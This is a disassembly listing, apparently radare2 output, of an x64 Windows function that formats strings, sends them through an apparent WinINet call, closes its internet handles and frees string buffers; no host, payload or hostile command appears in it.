call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x2710
call fcn.14001e2bc
mov rdi, rax
mov qword [rbp - 0x70], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x126], eax
mov dword [rbp + 0x120], 0x65545243
mov word [rbp + 0x124], 0x72
mov r9, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x14000b099
mov r9, qword [r15]
mov rax, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14000b0a8
mov rax, qword [r12]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x120]
lea rdx, str._s_s______s
mov rcx, rdi
call fcn.1400010e0
mov r10, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14000b0d5
mov r10, qword [rsi]
mov rdx, r10
jmp 0x14000b0d8
mov rdx, rsi
mov rdi, 0xffffffffffffffff
mov rax, rdi
mov rcx, qword [rbp - 0x70]
inc rax
cmp byte [rcx + rax], 0
jne 0x14000b0e6
nop
inc rdi
cmp byte [rdx + rdi], 0
jne 0x14000b0f0
mov r8, rdi
mov dword [rsp + 0x20], eax
mov rdi, rcx
mov r9, rcx
mov rdx, r10
mov rcx, qword [rbp - 0x80]
call qword [0x1400288a0]
mov rcx, rdi
test eax, eax
jne 0x14000b441
call fcn.14001dfb0
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rdi, qword [rsp + 0x50]
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
mov rcx, rdi
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000b1a5
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x14000b1a0
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b479
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [rbx], al
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rax
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14000b1f1
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r15]
jb 0x14000b1ea
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b480
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [r15], 0
mov qword [r15 + 0x18], 0xf
mov qword [r15 + 0x10], rax
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x14000b23d
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r12]
jb 0x14000b238
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b487
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov byte [r12], r15b
mov qword [r12 + 0x18], 0xf
mov qword [r12 + 0x10], r15
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000b291
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x14000b28c
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b48e
mov rcx, r8
call fcn.14001dfb0
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], r15
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x14000b2da
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x14000b2d5
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b495
mov rcx, r8
call fcn.14001dfb0
mov byte [r14], 0
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], r15
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000b329
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x14000b324
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b49c
mov rcx, r8
call fcn.14001dfb0
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], r15
mov rbx, qword [rsp + 0x60]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000b377
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x14000b372
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b4a3
mov rcx, r8
call fcn.14001dfb0
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], r15
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x14000b3c1
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r13]
jb 0x14000b3bc
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b4aa
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000b40c
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000b407
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b4b1
mov rcx, r8
call fcn.14001dfb0
mov rax, rdi
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], r15
mov rcx, qword [rbp + 0x530]
xor rcx, rsp
call fcn.14001df90
add rsp, 0x648
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14001dfb0
nop
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, 1
lea rdx, [0x140023a00]
jmp 0x14000b14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3